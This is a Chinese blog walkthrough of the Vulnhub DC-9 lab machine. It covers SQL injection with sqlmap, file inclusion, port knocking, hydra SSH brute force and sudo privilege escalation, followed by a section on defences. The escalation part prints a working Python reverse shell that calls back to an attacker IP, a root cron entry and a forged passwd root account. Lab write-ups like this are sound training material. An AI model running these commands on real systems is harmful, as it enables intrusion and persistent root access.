DC-9靶机渗透实战:从SQL注入到端口敲门,手把手教你玩转Vulnhub

Vulnhub-DC 7-9 提权、端口敲门 Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。靶场部署Vulnhub官网:https://www.vulnhub.com下载地址:https://www.vulnhub.com/entry/dc-8,367/直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本); 阅读详情

DC-9靶机深度渗透:从SQL注入到端口敲门的艺术与技术

在网络安全领域,渗透测试是一项既需要扎实技术功底又需要创造性思维的工作。Vulnhub平台上的DC系列靶机因其精心设计的漏洞场景而广受安全爱好者欢迎。本文将深入剖析DC-9靶机的渗透过程,不仅展示标准的技术路线,更会揭示那些容易被忽视的细节和思维方法。

1. 靶机环境与初步侦查

DC-9靶机延续了DC系列的传统,目标是通过系统性的渗透测试获取root权限并读取最终的flag。与真实环境类似,靶机隐藏了多个安全漏洞,需要测试者像侦探一样逐步发现线索。

环境准备阶段需要注意几个关键点:

  • 确保攻击机(Kali Linux)与靶机处于同一网络段
  • 建议使用NAT模式进行网络配置,避免不必要的网络干扰
  • 记录初始IP分配情况,便于后续识别靶机IP

使用基础探测命令快速定位靶机:

nmap -sn 192.168.1.0/24

这个简单的扫描会列出网络中所有活跃主机。通过排除已知设备(如网关、攻击机本身),通常可以快速确定靶机IP地址。

端口与服务识别是渗透测试的基石。对目标进行全面扫描:

nmap -sV -p- -T4 靶机IP

参数说明:

  • -sV:服务版本探测
  • -p-:扫描所有65535个端口
  • -T4:加快扫描速度

扫描结果通常会显示80端口(HTTP服务)开放,而22端口(SSH)初始状态为关闭——这是一个重要线索,暗示可能需要特殊方式激活SSH服务。

2. Web应用漏洞挖掘与利用

DC-9的Web界面看似简单,却暗藏玄机。专业的渗透测试者会系统性地检查每个可能的风险点。

2.1 目录结构与敏感文件发现

使用专业工具扫描网站目录:

gobuster dir -u http://靶机IP -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

或者使用dirsearch:

python3 dirsearch.py -u http://靶机IP -e php

虽然常规扫描可能收获有限,但不要忽视手动检查网页源代码、robots.txt文件以及常见的备份文件(如index.php.bak、config.php.bak等)。

2.2 SQL注入漏洞的深度利用

在员工查询功能处,通过简单测试即可发现SQL注入漏洞。经典测试方法:

' OR 1=1 -- 
' OR 1=2 -- 

观察返回结果的差异可以确认注入点存在。

使用sqlmap进行自动化利用:

sqlmap -u "http://靶机IP/results.php" --data="search=1" --risk=3 --level=5 --batch --dbs

获取数据库信息后,重点提取用户凭证:

sqlmap -u "http://靶机IP/results.php" --data="search=1" -D Staff -T Users --dump

关键技巧:

  • 注意观察数据库中的密码哈希类型(如MD5、SHA1等)
  • 使用John the Ripper破解哈希:
    john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=raw-MD5
    
  • 获得的凭证可能适用于多个服务(Web后台、SSH等)

2.3 文件包含漏洞的创造性利用

成功登录后台后,"File does not exist"的提示暗示可能存在文件包含漏洞。尝试经典路径遍历:

http://靶机IP/welcome.php?file=../../../../etc/passwd

高级利用技巧:

  1. 查看系统日志文件(如/var/log/auth.log)尝试日志污染
  2. 检查/proc/self/environ等特殊文件
  3. 通过包含临时上传文件实现代码执行

在DC-9中,最关键的发现是/etc/knockd.conf文件,其中包含了端口敲门的序列:

[options]
    logfile = /var/log/knockd.log

[openSSH]
    sequence = 7469,8475,9842
    seq_timeout = 5
    command = /sbin/iptables -I INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags = syn

[closeSSH]
    sequence = 9842,8475,7469
    seq_timeout = 5
    command = /sbin/iptables -D INPUT -s %IP% -p tcp --dport 22 -j ACCEPT
    tcpflags = syn

3. 端口敲门技术与SSH访问控制

端口敲门(Port Knocking)是一种隐蔽的访问控制机制,通过按特定顺序访问一系列关闭的端口来触发防火墙规则变更,从而开放目标服务。

3.1 端口敲门的实现方式

在DC-9靶机中,需要依次访问7469、8475、9842三个端口才能激活SSH服务。实现方法多样:

使用netcat:

nc -zv 靶机IP 7469
nc -zv 靶机IP 8475 
nc -zv 靶机IP 9842

或者使用nmap:

nmap -Pn -p 7469 靶机IP
nmap -Pn -p 8475 靶机IP 
nmap -Pn -p 9842 靶机IP

专业提示:

  • 注意顺序必须严格正确
  • 各次敲门需要在短时间内完成(通常5-10秒内)
  • 完成后立即验证22端口是否开放:
    nmap -p 22 靶机IP
    

3.2 SSH暴力破解的艺术

获得SSH访问机会后,使用之前收集的凭证进行尝试。若直接登录失败,可组织系统化的暴力破解:

  1. 整理用户名和密码字典

  2. 使用hydra进行有节制的爆破:

    hydra -L users.txt -P passwords.txt ssh://靶机IP -t 4 -vV
    

    参数说明:

    • -t 4:控制并发连接数,避免触发防御机制
    • -vV:显示详细进度信息
  3. 针对发现的用户,检查其家目录下的隐藏文件和异常目录:

    ls -la /home/用户名
    find /home/用户名 -type f -name ".*" -exec ls -la {} \;
    

在DC-9中,janitor用户的隐藏目录.secrets-for-putin包含重要线索,可以扩展密码字典进行二次爆破。

4. 权限提升与系统控制

获取普通用户shell后,系统性的权限提升检查至关重要。以下是专业渗透测试者的标准流程:

4.1 基础信息收集

# 系统信息
uname -a
cat /etc/issue
cat /etc/*-release

# 用户信息
id
whoami
cat /etc/passwd
cat /etc/shadow

# 进程信息
ps aux
top -n 1

# 网络信息
ifconfig
netstat -antup
iptables -L

# 定时任务
crontab -l
ls -la /etc/cron*

# SUID/SGID文件
find / -perm -4000 -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null

# 可写目录
find / -writable -type d 2>/dev/null

4.2 利用sudo权限提权

检查用户的sudo权限:

sudo -l

在DC-9中,fredf用户可以无密码执行/opt/devstuff/dist/test/test。逆向分析这个二进制文件:

file /opt/devstuff/dist/test/test
strings /opt/devstuff/dist/test/test

发现其实是Python编译的二进制文件,通过查找找到源代码:

find / -name test.py 2>/dev/null

分析源代码发现这是一个文件追加工具,可以用于:

  1. 写入定时任务获取root shell
  2. 直接修改/etc/passwd添加特权用户

方法一:定时任务提权

创建反弹shell脚本reverse.py:

import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("攻击机IP",8888))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])

创建crontab条目:

echo '*/5 * * * * root python3 /home/fredf/reverse.py' > cron.txt

使用test工具写入系统crontab:

sudo /opt/devstuff/dist/test/test cron.txt /etc/crontab

在攻击机启动监听:

nc -lvnp 8888

方法二:/etc/passwd提权

生成加密密码:

openssl passwd -1 -salt evil 123456

创建伪造的passwd条目:

echo 'evil:$1$evil$qFmFHjOd6pL69vKGK5sRj/:0:0::/root:/bin/bash' > fake.txt

写入系统passwd文件:

sudo /opt/devstuff/dist/test/test fake.txt /etc/passwd

切换用户:

su evil
密码:123456

4.3 获取flag与痕迹清理

成功获取root权限后,通常在/root目录下可以找到flag文件:

cat /root/flag.txt

专业渗透测试者还会:

  1. 检查其他用户的敏感文件
  2. 查找数据库中的额外信息
  3. 分析系统日志了解防御机制
  4. 必要时清理活动痕迹

5. 防御策略与安全启示

DC-9靶机展示了多种现实世界中存在的安全风险。针对这些漏洞,企业可以采取以下防御措施:

针对SQL注入:

  • 使用参数化查询或ORM框架
  • 实施最小权限原则的数据库账户
  • 部署WAF防护常见注入模式

针对端口敲门:

  • 考虑更安全的替代方案如单包授权(SPA)
  • 实现动态敲门序列
  • 结合TOTP等双因素认证

针对权限提升:

  • 定期审计sudo权限和SUID/SGID文件
  • 实施文件完整性监控
  • 限制cron任务和系统服务的权限

渗透测试的真正价值不在于获取root权限本身,而在于通过这个过程理解系统的薄弱环节,从而构建更强大的防御体系。DC-9靶机通过精心设计的漏洞链,完美诠释了"攻击者只需要找到一个漏洞,而防御者需要防护所有漏洞"的网络安全本质。

vulnhub靶机: DC-9 vulnhub靶场,dc-9靶场渗透测试过程。 阅读详情

相关推荐

vulnhub靶场,DC-9

vulnhub靶场,DC-9 环境准备 攻击机:kali(192.168.58.130) 靶机:DC-9(192.168.58.155) 下载好靶机之后直接使用VMware Workstation Pro虚拟机导入环境,启动即可,将网段设置为NAT模式 信息收集 使用arp-scan确定目标靶机 确定目标靶机IP为192.168.58.155 使用nmap扫描查看目标靶机端口开放情况 可以看到扫描结果是开放了22、80端口,但是22端口被过滤了 浏览器访问目标靶机80端口 使用浏览器插件wappal

kukudeshuo的博客 1245

靶机渗透之DC-9

这就是DC靶机的最终章了,写的比较详细,基本我走过的弯路都记录下来了,希望对大家有帮助。DC之旅到此结束了,希望大家网安道路越走越远。最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

2301_76227305的博客 2296

vulnhub靶机DC-9渗透测试

一、信息收集 首先用netdiscover确定靶机IP: 确定靶机IP为:192.168.1.109后开始扫描它的端口开放情况: namp -sV -A -p 0-65535 1192.168.1.109 发现它只开放了22和80端口,发现ssh服务被过滤掉了,这就使我们用不了ssh服务,先不管它。然后先访问一下80端口: 是一个这样的页面,其中还有4个选项,依次点开以后并没有什么发现,但...

Long_gone的博客 2675

VulnHub靶机 DC-9 靶机 详细渗透过程

思路:主机发现—端口扫描—服务探测—指纹识别—Web渗透SQL注入—登入后台—文件包含—"敲门"打开22端口—SSH爆破—得到相关用户信息并远程登录—提权—分别搜寻三个用户下的目录文件—拿有价值信息进行查看—得到带有root权限的执行命令—分析并成功提权。ps:如果ssh不能登录,是因为22端口没有打开,流量过滤了,在前面信息收集当中发现22端口是关闭的。拿到的用户名和密码进行后台,登录进行,发现低端爆出文件未找到的信息,可能存在文件包含,根据提示尝试一下,成功读取/etc/passwd。

网络空间安全学习 4578

『VulnHub系列』DC: 9-Walkthrough

这是我完成的VulnHub上的第32个靶机。靶机发布日期:2019年12月29日,难度:中等。标签:SQLi、“撞库”、LFI。

ins1ght的博客 1550

XCAT集群管理实战:从裸机到节点批量部署

在数据中心与HPC集群运维中,裸机配置与操作系统批量部署是关键环节。PXE引导、IPMI带外管理等基础技术为自动化装机提供了底层支持,而集群管理工具则将这些能力整合为可扩展的运维体系。XCAT作为一款开源集群管理工具,通过数据库驱动的方式统一管理DHCP、TFTP、HTTP等服务,实现从裸机发现、系统安装到电源控制的全流程自动化。本文从XCAT的核心设计出发,详细介绍了环境准备、安装配置、节点定义、镜像分发及常见问题排查,帮助运维人员快速构建高效的集群部署流程,降低规模化管理的复杂度。

weixin_30899023的博客 241

看完这篇 教你玩转渗透测试靶机vulnhub——DC9

Vulnhub靶机DC9渗透测试详解Vulnhub靶机介绍:Vulnhub靶机下载:Vulnhub靶机安装:Vulnhub靶机漏洞详解:①:信息收集:②:SQL注入:③:文件包含:④:端口敲门: Vulnhub靶机介绍: vulnhub是个提供各种漏洞平台的综合靶场,可供下载多种虚拟机进行下载,本地VM打开即可,像做游戏一样去完成渗透测试、提权、漏洞利用、代码审计等等有趣的实战。 靶机DC9 还是老样子只有拿到root权限才可以发现最终的flag。 Vulnhub靶机下载: 官网地址:https://dow

Aluxian_的博客 7800

ATGM332D模块串口配置保姆级教程:从9600波特率到NMEA数据过滤,一次搞定

本文提供ATGM332D模块串口配置的详细教程,涵盖从基础硬件连接到高级NMEA数据过滤的全过程。内容包括波特率优化、数据输出频率调整、NMEA语句过滤等实用技巧,帮助开发者快速掌握GNSS模块配置,提升定位系统性能。

weixin_30664051的博客 513

Vulnhub靶机——DC-9

Vulnhub靶机 DC-9靶机渗透测试详细流程介绍(附靶机搭建过程) SQL注入 文件包含 SSH连接 Knockd服务

qq_52854348的博客 1185

AIOps智能运维:从数据治理到故障自愈的实践指南

AIOps(智能运维)通过融合人工智能与运维管理,构建了感知-决策-执行的闭环体系。其核心技术包括多维度数据采集、机器学习算法和自动化执行,显著提升了告警治理、故障定位和容量预测的效率。在数据层,全量性、实时性的数据采集是基础,而算法层的异常检测和根因分析则依赖统计方法、孤立森林和LSTM等模型。AIOps尤其适用于处理告警风暴和复杂系统故障,如在电商大促中通过K-Means聚类减少92%的告警量。随着云原生和边缘计算的普及,AIOps正逐步实现与Service Mesh、Serverless等技术的深度集

weixin_30175731的博客 288

Mac上SSH连接神器SecureCRT:从安装到高效使用的完整指南

本文详细介绍了Mac上专业SSH连接工具SecureCRT的安装与高效使用技巧。从核心优势、会话管理到快捷键方案,全面解析如何提升远程开发与服务器管理效率。特别适合需要处理多服务器环境和复杂终端控制的Mac用户,SecureCRT的企业级加密和跨平台同步功能使其成为SSH连接的神器。

weixin_30642561的博客 494

DC-9靶机实战:从SQL注入到端口敲门的完整渗透路径解析

SQL注入作为最常见的Web安全漏洞之一,其原理在于应用程序未对用户输入进行充分验证,导致攻击者能够操纵后端数据库查询。这种漏洞常出现在搜索、登录等功能中,攻击者通过构造恶意输入,可以绕过认证、窃取敏感数据甚至获取服务器权限。在渗透测试中,自动化工具如sqlmap能高效识别和利用注入点,提取数据库中的关键信息,如用户凭证。这些凭证往往存在弱密码或复用问题,可能被用于SSH等服务登录。为进一步深入内网,攻击者需结合端口敲门(Port Knocking)等隐蔽技术,通过特定顺序访问端口来触发服务开放,实现权限提

weixin_34262482的博客 320

【自由谈】城域网IPv6过渡技术——MAP技术(1)

在IPv4向IPv6网络演进的浪潮中,存在着两对主要矛盾的较量,一对是IPv4地址短缺和IPv4业务蓬勃发展之间的矛盾,另一对是IPv6海量的地址空间和IPv6应用的匮乏之间的矛盾。同时两对矛盾又互相制约,IPv4地址共享机制似乎又减缓了IPv6产业链的发展,IPv6产业链的不断发展似乎又在考验着IPv4地址共享机制的部署规模。MAP成为目前兼顾IPv4和IPv6的4voer6场景中最为关注的技术。

韩立金自由谈 3022

DC-9靶机渗透实战:从SQL注入到端口敲门提权完整解析

在网络安全领域,渗透测试是评估系统安全性的核心方法,其原理在于模拟攻击者行为,发现并利用漏洞。这项技术的价值在于主动防御,帮助组织识别风险。常见应用场景包括企业安全评估和CTF竞赛。本文聚焦端口敲门技术,这是一种通过特定端口序列触发防火墙规则变更的隐蔽访问控制机制,能有效隐藏服务。在DC-9靶机实战中,结合SQL注入漏洞获取凭证后,利用本地文件包含读取knock.html文件获得敲门序列,最终通过隐藏服务实现权限提升,展示了端口敲门在真实渗透测试中的关键作用。

weixin_34174322的博客 432

自制温湿度计——STM32-L432KC驱动lcd1602和dht11温湿度显示

先给大家甩一张图片哈(附上网址)简单说一下这块板子在这个小项目里的小缺点:一、引脚有点少,lcd1602本来有两种传输数据方式,一种是4bit,另一种是8bit,但是这块板子对于这个项目来说引脚有点少,所以建议用4bit模式。然而,在网上是很难找到设置4bit传输模式的lcd1602的,这也是为什么我写这个blog。二、mbed-os有时候会有大大小小的问题,搞人心态是真的。比如库函数离奇失踪,从官网上下载库函数失败,重装也解决不了然后莫名其妙好了。

m0_72994251的博客 3913

AGV避坑指南:海康控制系统与Modbus设备对接的那些‘坑’

本文深入解析海康AGV控制系统与Modbus设备对接中的常见问题及解决方案,涵盖通信协议对接、信号干扰、硬件层问题和软件优化策略。通过真实案例和实用技巧,帮助工程师规避典型陷阱,提升系统稳定性和效率。

l3m4n的博客 741

Vulnhub靶机:DC-8渗透详细过程

DC-8 前情提要 靶场地址:https://www.vulnhub.com/entry/dc-8,367/ DC-8是一个中级的靶场,需要具备以下前置知识: 基础的Linux命令及操作 基础的渗透测试工具使用(Kali / Parrot下的工具) 翻译一下官方给出的一些信息: 这个挑战试图证明在 Linux 上安装和配置的双重身份验证是否可以防止 Linux 服务器被攻击。这个挑战的最终目标是绕过双重身份验证,获取根并读取唯一标志。除非您尝试通过SSH登录,否则您可能甚至不知道安装和配置了双重身份验

IerkeU的博客 3278

【第13话:感知算法】库位与可行驶区域检测:自主泊车场景中的检测及语义分割方法

本文提出了一种自动泊车系统中的泊车库位线检测方法,通过逆透视映射(IPM)将车辆摄像头图像转换为鸟瞰视图,消除透视变形。该方法结合目标检测和语义分割模型,先定位库位线候选区域,再生成像素级精确掩码。后处理步骤将掩码转换为结构化输出,包括停车位边界多边形和可行驶区域掩码。整个流程采用深度学习模型和计算机视觉技术,可实现高精度的泊车环境感知,为自动泊车系统提供可靠支持。

一碗白开水一 1161

Vulnhub靶场 | DC系列 - DC9

还有一个思路,前面有各种用户的信息,可以尝试组成社工字典进行爆破(这个放到没有利用点的时候再尝试)”,满足3个参数,则第2个参数的文件内容写入到第3个参数的文件中。将username 列放入username.txt中,password放入到password.txt中。使用三个用户登录,进行信息收集。在janitor的家目录下发现隐藏目录,其中的文件是一个密码文件。注意:这里的22端口显示的是filtered。把密码放入刚才的密码文件中,再次爆破一下。中找到了test.py文件,查看文件内容。

哦 卷! 1288

华为的C语言编程规范.pdf

华为技术有限公司内部技术规范。本规范制定了编写C语言程序的基本原则、规则和建议。从代码的清晰、简洁、可测试、安全、程序效率、可移植各个方面对C语言编程作出了具体指导。

VC中sqlite的使用

在VC中对sqlite的使用,实现数据库大批数据的快速插入,读取数据库中的数据在ListCtrl中显示

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-9 通关详解 (附靶机搭建教程)

[ vulnhub靶机通关篇 ] 渗透测试综合靶场 DC-8 通关详解 (附靶机搭建教程) 从信息收集到拿到低权限,最后提权获取最高权限,详细解读

qq_51577576的博客 3055

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

打靶日记 Vulnhub靶机 DC-9(手工注入)

微信公众号:泷羽sec-临观。

2403_88668158的博客 1235

汉书HE8,好用的汇编代码编写工具

汉书HE8,好用的汇编代码编写工具早期编写汇编代码所用功能强大

(VulnHub靶机通关)DC-9

靶机下载地址:https://download.vulnhub.com/dc/DC-9.zip 主机发现 IP:192.168.43.192 80端口为开放状态,22端口是filtered状态 web渗透 访问80端口的web服务,打开Search界面,输入1' or 1=1 # 存在sql注入 burpsuite抓包然后保存为DC.txt,然后用sqlmap进行爆破 爆库名 python sqlmap.py -r "C:\Users\11989\Desktop\DC.

yang1234567898的博客 1011

渗透Vulnhub-DC-9靶机

echo "fredf ALL=(root) NOPASSWD:ALL" > /tmp/abc.txt #fredf 用户可以在任何主机以root身份运行任何命令。

C-HOWE的博客 1315

DC-9靶机渗透实战:从SQL注入到端口敲门与sudo提权

渗透测试是评估网络安全性的核心方法,其原理在于模拟攻击者行为,发现系统漏洞。在Web安全领域,SQL注入和本地文件包含(LFI)是两种常见的高危漏洞,攻击者可通过它们窃取数据库敏感信息或读取服务器文件。端口敲门(Port Knocking)作为一种隐蔽的访问控制技术,通过特定端口序列动态管理防火墙规则,增加了服务访问的复杂性。本次实战以VulnHub的DC-9靶机为场景,综合运用了SQL注入获取后台凭证、利用LFI读取关键配置文件、通过端口敲门解锁SSH服务,并最终借助配置错误的sudo权限完成提权,完整再

weixin_33997389的博客 353

从SQL注入到SSH敲门:DC-9靶机渗透中那些教科书里没写的实战细节

本文深入剖析DC-9靶机渗透中的实战技巧,包括SQL注入结果的高效利用、SSH敲门服务的逆向工程及凭证二次爆破策略。通过详细的技术分析和实用命令示例,揭示教科书未涵盖的渗透测试细节,帮助安全研究人员提升实战能力。

weixin_30924087的博客 429
上一篇: Vue3项目实战:用MathJax 3.0优雅渲染LaTeX公式(附完整配置代码)
下一篇: PostgreSQL依赖问题终极指南:如何正确配置libpq.so.5(附yum/rpm解决方案)
糖果HTML
博客等级 码龄3年 76粉丝 1357原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符  | 博主筛选后可见
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值